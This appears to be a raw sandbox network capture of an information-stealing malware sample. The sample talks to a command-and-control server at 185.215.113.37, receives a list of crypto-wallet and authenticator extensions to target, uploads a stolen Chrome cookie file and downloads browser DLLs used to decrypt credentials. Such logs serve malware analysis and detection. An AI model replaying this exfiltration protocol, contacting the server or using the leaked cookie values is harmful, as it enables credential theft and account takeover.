Sep 30, 2024 15:20:04.664993048 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 30, 2024 15:20:04.665011883 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Sep 30, 2024 15:20:04.665021896 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Sep 30, 2024 15:20:04.665031910 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Sep 30, 2024 15:20:04.665041924 CEST	148	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpv
Sep 30, 2024 15:20:04.665369034 CEST	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Sep 30, 2024 15:20:04.665416002 CEST	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Sep 30, 2024 15:20:04.665427923 CEST	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Sep 30, 2024 15:20:04.676580906 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGI Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"fplugins------KJKJKFCBKKJDGDHIDBGI--
Sep 30, 2024 15:20:04.899832964 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 30, 2024 15:20:05.024019957 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB Host: 185.215.113.37 Content-Length: 6919 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 15:20:05.024084091 CEST	6919	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 30, 2024 15:20:05.908538103 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 15:20:06.191653013 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 15:20:06.414176941 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 30, 2024 15:20:06.414196968 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 30, 2024 15:20:08.086510897 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAEC Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------KEBGHCBAEGDHIDGCBAEC--
Sep 30, 2024 15:20:08.808528900 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 15:20:08.894783974 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file"------EHJDHJKFIECAAKFIJJKJ--
Sep 30, 2024 15:20:09.625519991 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 15:20:10.720952988 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="file"------HDAKJDHIEBFIIDGDGDBA--
Sep 30, 2024 15:20:11.431900024 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 15:20:11.775489092 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 15:20:11.997383118 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:11 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 30, 2024 15:20:12.826468945 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 15:20:13.048073053 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
